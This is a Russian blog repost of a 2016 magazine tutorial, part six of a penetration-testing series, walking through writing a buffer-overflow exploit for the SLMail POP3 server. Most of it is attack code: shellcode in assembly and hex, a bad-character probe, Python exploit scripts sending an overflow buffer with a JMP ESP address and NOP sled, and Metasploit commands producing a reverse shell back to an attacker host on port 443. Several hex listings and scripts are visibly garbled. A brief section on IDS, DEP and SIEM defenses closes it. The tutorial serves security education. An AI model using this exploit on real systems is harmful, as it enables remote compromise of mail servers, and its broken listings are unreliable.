А АTuesday 22 June 2021

Проводим пентест, часть 6 - пишем эксплоит.

Всем привет.

Сегодня 6-я часть из серии публикаций Андрея Бирюкова, посвященных проведению аудита и теста на проникновение (пентест). Оригинал статьи был опубликован в журнале "Системный администратор" №11(168), ноябрь 2016. Как пишет сам автор, эта часть является продолжением темы про кодирование приложений и в известной степени нудная. По своему опыту скажу что инструкции ассемблера сейчас знают единицы, потому как такой язык давно не в тренде. Тем не менее я решил сохранить серию публикаций автора полностью.

Часть 6. Пишем эксплоит.

Что собой представляет эксплоит? Как правильно внедрить шелл-код? Продолжаем тему самостоятельной разработки.

В этой статье мы продолжим обсуждение темы самостоятельной разработки эксплоитов к самописному программному обеспечению. В предыдущей статье цикла [1] был рассмотрен процесс поиска уязвимостей (фаззинг) в почтовом сервере SLMail. Мы выяснили значения адресов для регистров ESP и EIP, а также объем блока памяти, который нужен для размещения нашего эксплоита. Однако перед тем как перейти к описанию процесса разработки кода, нам придется уделить внимание основам программирования на языке ассемблер, так как без этого понять все особенности разработки кода эксплоита будет довольно трудно. В рамках данной статьи я не буду подробно рассматривать все инструкции, ограничусь комментариями кода. Во врезке представлены основные инструкции ассемблера, необходимые при анализе кода.

Простые действия.

Читателю, не знакомому с низкоуровневым программированием, материал, изложенный в этой статье, может показаться довольно сложным, а описываемые действия – набором хаотичных операций, не связанных между собой.

Для лучшего понимания приведу основные шаги, которые необходимо предпринять для разработки эксплоита:

1. Разработка кода эксплоита. Здесь подробно рассмотрим, что собой представляет шелл-код для Windows.

2. Адаптация кода для встраивания его в уязвимую программу. Здесь мы поговорим о том, как обойти ограничения, связанные с использованием нескольких сегментов памяти.

3. Получение адресов, используемых в нашем шелл-коде функций kernel32.dll и генерации кода эксплоита.

4. Обнаружение всех «плохих» байтов в уязвимой программе.

5. Замена найденных bad chars в нашем шелл-коде. 

7. Поиск в уязвимой программе команд, необходимых для выполнения перехода на наш шелл-код.

8. Внедрение шелл-кода в уязвимую программу. 

9. Автоматизация разработки эксплоита с помощью средств Metasploit.

Эксплоит, который мы будем разрабатывать далее, требует встраивания в уже работающую программу. Вследствие этого существует ряд ограничений, о которых мы также будем говорить далее.

Программа может состоять из нескольких частей, называемых модулями. В каждом модуле определяется один или несколько сегментов данных, стека и кода. Любая законченная программа на ассемблере должна включать один модуль, с которого начинается ее выполнение. Модуль содержит сегменты кода, сегменты данных и стека, объявленные при помощи соответствующих директив. Перед объявлением сегментов нужно указать модель памяти при помощи директивы .MODEL.


Что мы хотим получить?

Перед написанием эксплоита нам необходимо четко определиться с тем, что мы хотим получить. В случае с Unix-системами целью злоумышленника является получение доступа (шелл). Но в нашем примере используется сервер SLMail под Windows. Конечной целью нашего эксплоита также будет получение удаленного доступа на почтовый сервер. Реализовать удаленный доступ на ассемблере можно несколькими способами: можно написать код, обрабатывающий сокеты и взаимодействующий с операционной системой, а можно использовать уже имеющиеся сервисы ОС Windows. Первый вариант требует разработки длинного и сложного кода, тогда как второй достаточно прост для понимания. Мы воспользуемся вторым вариантом и будем получать доступ посредством запуска telnet. Учитывая то обстоятельство, что исследуемая программа SLMail довольно старая (2004 г.) и уязвима она под ОС Windows XP/2003, проблем с запуском сервиса telnet возникнуть не должно.

Итак, как должна выглядеть программа на ассемблере, выполняющая какую-либо команду в ОС Windows. 

.586p ; защищенный режим

.model flat,stdcall

;плоская модель памяти (код и данные используют одно и то же адресное пространство).

SW_HIDE = 1 ; окно скрыто

;подключаем внешнюю функцию ОС WinExec

extrn _WinExec@8:PROC

; корректное завершение работы программы c ExitProcess

extrn _ExitProcess@4:PROC

.data ; сегмент данных

; выполняемая команда

CmdCommand db ' sc config tlntsvr start= auto',0

.code ; сегмент кода

start:

; вызываем выполнение команды в невидимом окне

call _WinExec@8, offset CmdCommand, SW_HIDE

; процедура выхода

call _ExitProcess@4, 0

end start

В результате работы должен запуститься сервис telnet.


Адаптация кода.

Данный код содержит два сегмента – .data и .code. А весь код эксплоита, который мы собираемся внедрять, должен находиться в одном сегменте. Кроме того, в отличие от нормальной программы в коде эксплоита мы не можем использовать вызовы типа _WinExec@8 и _ExitProcess@4. Вместо этого нам необходимо указать адреса данных функций Windows. Операционная система хранит необходимые нам функции в библиотеке Kernel32.dll. Для получения адресов нам потребуется утилита ArWin [6].

C:\shellcode>arwin kernel32.dll WinExec

arwin - win32 address resolution program - by dissonance - v.01

WinExec is located at 0x77E4FD60 in kernel32.dll

C:\shellcode>arwin kernel32.dll ExitProcess

arwin - win32 address resolution program - by dissonance - v.01

ExitProcess is located at 0x77e59863 in kernel32.dll

В зависимости от версии ОС адреса функций могут отличаться.

Теперь перепишем код нашего эксплоита с учетом требования единого сегмента и указания адресов.

.586p

.model flat

.code

start:

xor eax,eax ; обнуляем регистр eax

jmp short GtSt ; совершаем безусловный переход

retv: ; метка

pop ecx ; извлекаем содержимое стека в регистр ecx

mov eax,1 ; загрузим в eax 1 (SW_SHOW)

push eax ; push 1

push ecx ; в ecx адрес db "calc.exe"

mov eax,77E4FD60h ;адрес вызова WinExec

call eax ; вызываем WinExec

mov eax,77e59863h ; адрес вызова ExitProcess

call eax ; вызываем ExitProcess

GtSt: ; метка

call retv ; вызов метки retv

db "sc config tlntsvr start= auto" ; выполняемая строка

end start


Код претерпел некоторые изменения, связанные с отсутствием сегмента data. Для того чтобы и код и данные были в одном сегменте, мы использовали связку из трех команд:

JMP, CALL, POP. Эти команды и метки, по которым осуществляется переход, выделены в листинге жирным шрифтом.

Алгоритм работы здесь следующий:

> > jmp short GtSt осуществляет переход на метку GtSt.

> > call retv, находящаяся на метке GtSt, выполняет переход на метку retv. При этом в стек помещается адрес следующей команды, т.е. db “calc.exe”.

> > pop ecx, находящаяся на метке retv, помещает содержимое вершины стека в ecx.

> > В результате в регистре ecx оказывается адрес строки db… Далее это значение будет использоваться для работы функции WinExec.

В результате мы получили рабочий шелл-код, удовлетворяющий нашим требованиям в части размещения данных и кода в одном сегменте. Для компиляции с помощью TASM необходимо выполнить следующие действия:

tasm32 /mx /m3 /z /q exploit.asm

tlink32 -x /Tpe /aa /c exploit,exploit,, import32.lib


Ищем «плохие» байты.

Однако наша программа имеет только сегмент .code, а компилятор tasm не позволяет данному сегменту выполнять операции записи в память. Для решения этой проблемы можно воспользоваться утилитой Editbin.exe из состава Microsoft Visual Studio. Выполним следующее:

Editbin.exe /SECTION:CODE,w exploit.exe

Теперь попробуем получить побайтовое представление нашего эксплоита. Для этого мы воспользуемся Metasploit.

Откроем консоль и подключим генератор:

msfconsole

use payload/generic/custom

Далее укажем путь к файлу и запустим генерацию:

set PAYLOADFILE /путь_к_файлу/exploit.exe

generate


Получим примерно следующий набор байтов:

"\x33\xc0\xeb\x14\x59\x88\x41\x46\x50\x51\xb8\x60\xfd\xe4\

x77\xff\xd0\xb8\x63\x98\xe5\x77\xff\xd0\xe8\xe7\xff\xff\xff\

x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\

x75\x73\x65\x72\x20\x30\x78\x20\x70\x73\x20\x2f\x41\x44\x44\

x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\

x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\

xb8\x01\x00\x00\x00\x44\x44\x20\x30\x78\x4e"


Однако на этом создание эксплоита еще не заканчивается. Дело в том, что существуют так называемые плохие символы (bad characters). Они создают проблемы при передаче эксплоита в память уязвимой программы. Наиболее известным плохим символом является 0х00. Код данного символа является окончанием строки при ее вводе, и уязвимая программа перестает считывать символы, идущие за 0х00, считая, что строка уже закончилась. Для разных приложений и протоколов существуют свои запретные символы. Узнать их все для конкретного приложения можно с помощью передачи всех байтов приложению, по аналогии с рассмотренным ранее фаззингом. Для этого можно воспользоваться следующим скриптом, листинг 1.

Листинг 1. Код скрипта для поиска bad characters

#!/usr/bin/python

import

socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

badchars = (

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"

"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"

"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"

"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"

"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\

x6f\x70"

"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"

"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"

"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"

"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"

"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"

"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"

"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"

"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"

"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer="A"*2606+"B"*4 + badchars

try:

print "\nSending evil buffer..."

s.connect((IP_address,110))

data=s.recv(1024)

s.send('USER username'+'\r\n')

data = s.recv(1024)

s.send('PASS'+buffer+'\r\n')

s.close()

print "\nDone!"

except:

print "Could not connect to POP3!"


Для проверки работы сценария необходимо загрузить SLMail в Immunity Debugger и затем запустить скрипт: 


Как видно, байт 0A не попал в стек. Это вполне логично, так как 0А – это окончание строки. Убираем этот байт из скрипта и снова запускаем:


Теперь у нас отсутствует 0D. Все остальные символы проблем у приложения не вызвали. Таким образом, «плохими» для SLMail являются следующие символы: 00, 0A и 0D.


Методы замены.

В приведенном выше коде эксплоита из списка проблемных есть только 00. Все нули связаны с командой mov>eax,1, в шестнадцатеричном виде это будет b8 01 00 00 00. Для решения проблемы нам необходимо в исходном коде заменить данную команду на другие. Напомню, что регистр eax является 32-разрядным и состоит из двух частей: старшего байта ah и младшего al. В начале кода нашего эксплоита мы использовали команду xor> eax,eax, которая обнулила значения eax. В результате и в ah и в al оказались 0. Теперь для того, чтобы получить в eax значение 1, нам можно просто загрузить единицу в al с помощью команды mov>al,1, шестнадцатеричный вид которой B0 01. Так мы избавились от нулевых байтов. Замечу, что если бы в начале не был выполнен xor>eax,>eax, мы бы рисковали получить мусор в ah и, следовательно, в eax, что привело бы к неработоспособности эксплоита. Вот фрагмент измененного кода.

retv:

pop ecx

mov al, 1 ; удаляем нулевой байт

push eax

push ecx

mov eax,77E4FD60h

Очевидно, что далеко не всегда данным способом можно заменить все bad characters в коде эксплоита. Помимо использования xor и младших байтов регистров, также применяют отрицательные адреса (0хff..), команды коротких переходов (JMP>SHORT), математические операции с целью избежать явной загрузки плохих символов и другие методы. Подробно они рассматриваются в следующих учебных курсах [9, 10].

Перенаправляем потоки.

Осталось заставить уязвимую программу выполнить наш код эксплоита. В предыдущей статье мы вычисляли значение регистра EIP, в котором хранится адрес следующей выполняемой команды. Казалось бы, достаточно просто подсунуть в EIP адрес нашего эксплоита, и он будет выполнен. Однако значение этого адреса может меняться при каждом запуске программы. Гораздо лучшим решением было бы найти в основном коде уязвимой программы команду JMP>ESP. Эта команда выполнит безусловный переход на адрес вершины стека, по которому уже находится код нашего эксплоита. То есть в нашем эксплоите нужно передать сначала адрес команды JMP ESP, а затем уже сам код эксплоита. Схематически процесс выполнения  представлен ниже:


Остается только найти в коде SLMail jmp esp. Узнать шестнадцатеричный код команды можно с помощью nasm_shell.

# /usr/share/metasploit-framework/tools/nasm_shell.rb

nasm> jmp esp

00000000 FFE4 jmp esp

Теперь найдем ffe4 в SLMail с помощью Immunity Debugger.

Для этого в командной строке, находящейся в нижней части отладчика, выполним скрипт Mona: 


Как видно, нашлось 19 команд. Мы можем выбрать любой адрес, при условии, что он не будет содержать bad characters (00, 0a, 0d). Здесь у нас выбор довольно большой, хотя так бывает не всегда. Выберем адрес 5f4a358f. Теперь просто укажем этот адрес в начале полезной нагрузки эксплоита. В результате получим следующий скрипт. Обратите внимание, что и адрес и весь код эксплоита написаны в обратном порядке, так как мы работаем со стеком.

Также обратите внимание на появление восьми байтов 0х90. Это команда NOP (No Operations), которая не выполняет никаких действий. Данный набор байтов, именуемый NOP sled, обычно используют для того, чтобы при переходе EIP на адреса данных команд выполнение беспрепятственно перешло к коду эксплоита, см. листинг:

Листинг 2. Код получившегося эксплоита

#!/usr/bin/python

Import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

shellcode = (\x93\x33\xc0\xeb\x14\x59\x88\x41\x46\x50\x51\

xb8\x60\xfd\xe4\x77\xff\xd0 \xb8\x63\x98\xe5\x77\xff\xd0\xe8\

xe7\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\

x6e\x65\x74\x20\x75\x73\x65\x72\x20\x30\x78\x20\x70\x73\x20\

x2f\x41\x44\x44\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\

x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\

x72\x61\x74\x6f\xb0\x01\x44\x44\x20\x30\x78\x4e\x94 )

buffer="A"*2606+x94 \x8f\x35\x4a\x5f\x94 + "\x90"*8 + shellcode

try:

print "\nSending evil buffer..."

s.connect((IP_address,110))

data=s.recv(1024)

s.send('USER username'+'\r\n')

data = s.recv(1024)

s.send('PASS'+buffer+'\r\n')

s.close()

print "\nDone!"

except:

print "Could not connect to POP3!"

Теперь самое время узнать, как можно автоматизировать процесс написания эксплоитов.


Короткий путь.

Metasploit Framework содержит в себе множество различных инструментов. В частности, в нем уже есть готовые полезные нагрузки для эксплоитов, а также средства для борьбы с bad characters. Запустим и получим код Reverse Shell.

# msfpayload -l

# msfpayload windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 C


Получим код полезной нагрузки. Затем с помощью Metasploit избавимся от bad characters.

# msfpayload windows/shell_reverse_tcp LHOST=10.0.0.4 ?

LPORT=443 R | msfencode -b "\x00\x0a\x0d"

В итоге мы получаем payload размером 341 байт, а как мы помним из предыдущей статьи, максимально возможный объем – это 424 байта, так что места достаточно.


Что в итоге.

Результатом наших работ стал следующий эксплоит:

Листинг 3. Код итогового эксплоита

#!/usr/bin/python

import

socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

shellcode = ("\xbb\xdc\x@e\x23\x1c\xd9\xed\xd9\x74\x24\xf4\

x5f\x33\xc9\xb1\x4f\x31\x5f\x14\x83\xef\xfc\x@3\x5f\x10\x3e\

xfb\xdf\xf4\x37\x04\x20\x05\x27\x8c\xc5\x34\x75\xea\x8e\x65\

x49\x78\xc2\x85\x22\x2c\xf7\x1e\x46\xf9\xf8\x97\xec\xdf\x37\

x27\xc1\xdf\x94\xeb\x40\x9c\xe6\x3f\xa2\x9d\x28\x32\xa3\xda\

x55\xbd\xf1\xb3\x12\x6c\xe5\xb0\x67\xad\x04\x17\xec\x8d\x7e\

x12\x33\x79\x34\x1d\x64\xd2\x43\x55\x9c\x58\x0b\x46\x9d\x8d\

x48\xba\xd4\xba\xba\x48\xe7\x6a\xf3\xb1\xd9\x52\x5f\x8c\xd5\

x5e\x9e\xc8\xd2\x80\xd5\x22\x21\x3c\xed\xf0\x5b\x9a\x78\xe5\

xfc\x69\xda\xcd\xfd\xbe\xbc\x86\xf2\x0b\xcb\xc1\x16\x8d\x18\

x7a\x22\x06\x9f\xad\xa2\x5c\xbb\x69\xee\x07\xa2\x28\x4a\xe9\

xdb\x2b\x32\x56\x79\x27\xd1\x83\xfb\x6a\xbe\x60\x31\x95\x3e\

xef\x42\xe6\x0c\xb0\xf8\x60\x3d\x39\x26\x76\x42\x10\x9e\xe8\

xbd\x9b\xde\x21\x7a\xcf\x8e\x59\xab\x70\x45\x9a\x54\xa5\xc9\

xca\xfa\x16\xa9\xba\xba\xc6\x41\xd1\x34\x38\x71\xda\x9e\x4f\

xb6\x4d\x2b\x50\x38\x8a\x43\x52\x38\x93\x28\xdb\xde\xf9\x5e\

x8a\x49\x96\xc7\x97\x01\x07\x07\x02\x81\xa4\x9a\xc9\x51\xa2\

x86\x45\x06\xe3\x79\x9c\xc2\x19\x23\x36\xf0\xe3\xb5\x71\xb0\

x3f\x06\x7f\x39\xcd\x32\x5b\x29\x0b\xba\xe7\x1d\xc3\xed\xb1\

xcb\xa5\x47\x70\xa5\x7f\x3b\xda\x21\xf9\x77\xdd\x37\x06\x52\

xab\xd7\xb7\x0b\xea\xe8\x78\xdc\xfa\x91\x64\x7c\x04\x48\x2d\

x8c\x4f\xd0\x04\x05\x16\x81\x14\x48\xa9\x7c\x5a\x75\x2a\x74\

x23\x82\x32\xfd\x26\xce\xf4\xee\x5a\x5f\x91\x10\xc8\x60\xb0")

buffer="A"*2606+x94 \x8f\x35\x4a\x5f + "\x90"*8 + shellcode

try:

print "\nSending evil buffer..."

s.connect((IP_address,110))

data=s.recv(1024)

s.send('USER username'+'\r\n')

data = s.recv(1024)

s.send('PASS'+buffer+'\r\n')

s.close()

print "\nDone!"

except:

print "Could not connect to POP3!"


В результате его выполнения атакующий получает обратный доступ (reverse shell) на почтовый сервер SLMail по порту 443. Reverse Shell отличается от обычного шелла тем, что уязвимая машина сама устанавливает соединение с узлом атакующего. Это позволяет обойти межсетевые экраны, блокирующие входящие соединения.  Успешное выполнение эксплоита представлено ниже:


Методы защиты.

В предыдущей статье я уже упоминал об использовании в качестве средств защиты от внедрения эксплоитов средств обнаружения вторжений. Если IDS постоянно обновляет сигнатуры атак, то она сможет обнаружить попытку передачи шелл-кода на уязвимый узел. Однако не стоит обольщаться. Я недаром привел ассемблерный код шеллкода. С помощью различных манипуляций с командами злоумышленник может существенно видоизменить код эксплоита так, что IDS не сможет его обнаружить.

Еще одним средством борьбы с переполнениями буфера и соответствующими уязвимостями является использование технологии DEP (Data Execution Prevention, Предотвращение выполнения данных). Это аппаратная функция, предназначенная для повышения безопасности ОС, которая помогает защитить систему от программных ошибок и атак вида «переполнение буфера». DEP блокирует выполнение кода из областей системной памяти. DEP используется с зарезервированным аппаратным битом NX-Bit в AMD (No eXecute Bit) или XD-Bit в Intel (Execute Disable Bit). При попытке выполнения кода в памяти, помеченной NX/DX-битом, возникнет исключительная ситуация и программа аварийно завершится. Конечно, технология DEP также не является абсолютным средством защиты, однако с ее помощью можно осложнить злоумышленникам реализацию атаки.

В дополнение для самописного ПО (как, впрочем, и для любого другого) важно обязательное журналирование всех ошибок и наиболее критичных действий. Необходимо, чтобы в логах отражались все программные сбои, некорректные входы в систему, входы с административными правами, изменения настроек. Причем крайне желательно, чтобы журналируемые события не только сохранялись на локальной машине, но и передавались в систему управления событиями безопасности (SIEM). Так как злоумышленник, проникнув в систему, обязательно постарается замести за собой следы, удалив записи в локальном журнале событий. Правильно настроенные корреляции в SIEM позволят быстрее обнаружить подозрительную активность.

Представленный материал является достаточно сложным для неподготовленного читателя. Поэтому для углубленного изучения материала я бы рекомендовал почитать статьи и книги Криса Касперски [8, 9], которые по прошествии многих лет по-прежнему остаются актуальными. Кроме того, много интересного о написании шелл-кодов можно почерпнуть из учебных видеокурсов [10, 11]. На этом тему проникновения можно считать закрытой. Мы рассмотрели различные способы, с помощью которых злоумышленник может проникнуть в атакуемую сеть. В завершающей статье цикла мы поговорим о том, что хакер может сделать, уже проникнув в систему, и как его можно обнаружить.

[1] Бирюков А. Проводим тест на проникновение. Часть 5. Поиск уязвимостей в «самописных» приложениях. // «Системный администратор», №10, 2016 г. – С. 38-43 (http://samag.ru/archive/article/3292).

[2] Бирюков А. Проводим пентест. Часть 4. Используем уязвимости. // «Системный администратор», №7-8, 2016 г. – С. 47-51 (http://samag.ru/archive/article/3237).

[3] Бирюков А. Проводим пентест. Часть 3. Ищем уязвимости. // «Системный администратор», №6, 2016 г. – С. 24-29 (http://samag.ru/archive/article/3211).

[4] Бирюков А. Проводим пентест. Часть 2. Сбор необходимой информации. // «Системный администратор», №5, 2016 г. – С. 27-31 (http://samag.ru/archive/article/3190).

[5] Бирюков А. Проводим пентест. Часть 1. Проникаем в беспроводную сеть. // «Системный администратор», №4, 2016 г. – С. 40-44 (http://samag.ru/archive/article/3171).

[6] Утилита ARWin – http://shinnai.altervista.org/tools/arwin.rar.

[7] Касперски К. Аудит и дизассемблирование эксплоитов. // «Системный администратор», №8, 2006 г. – С.58-66 (http://samag.ru/archive/article/721).

[8] Крис Касперски. Искусство дизассемблирования.

[9] Penetration Testing with Kali Linux – учебные материалы Offensive Security.

[10] Securitytube.com Видеокурс «SecurityTube Linux Assembly Expert» by Vivek Ramachandran.


Основные инструкции ассемблера, необходимые при анализе кода:

CALL>–>вызов>функции.> Принимает один операнд, адрес вызываемой функции. Когда выполняется call, указатель стека esp уменьшается, и адрес инструкции, следующей за call – адрес возврата, – помещается в область памяти, на которую теперь указывает esp. Формат: call адрес.

RET> –> производит> обратную> операцию.> Простой ret не принимает операндов. Процессор сначала считывает значение по адресу памяти, хранимому в esp. Значение помещается в eip, и выполнение продолжается с этого адреса.

JMP>–>производит>безусловный>переход>на>заданный>адрес.> В качестве операнда передается метка, на которую выполняется переход. В случае если переход осуществляется в пределах от -128 до +128 байт, используется тип SHORT. Команда JMP, превосходящая эти пределы, получает тип NEAR (ее длина 2 байта) или FAR (3 байта). Формат: JMP-адрес.

NOP>–>отсутствие>операций.> Применяется без операндов. Часто используется для резервирования памяти при разработке эксплоитов.

MOV>–>команда>пересылки>данных.> Копирует содержимое источника в приемник, источник не изменяется. Например: mov>ax,>1 присваивает регистру ax значение 1. Команда mov>ax,>word>ptr>eax – записывает в ax слово, лежащее по адресу eax.

PUSH>–>поместить>регистр>в>стек.> Флаги не меняет. push>sp|esp – помещает в стек значение esp до того, как его уменьшит. Чтобы занести константу в стек, надо записать перед ней word ptr или dword ptr, чтобы компилятор понял, сколько байт начиная с данного адреса заносить в стек. В стек можно занести слово (2 байта), двойное слово (4 байта), но не байт.

POP>–>считать>данные>из>стека.> Флаги не меняет. Если операнд - ячейка памяти, использующая esp для адресации, то команда pop вычисляет адрес операнда уже после того, как она увеличит esp.


No comments:

Post a Comment

А что вы думаете по этому поводу?

Версия на печать

Популярное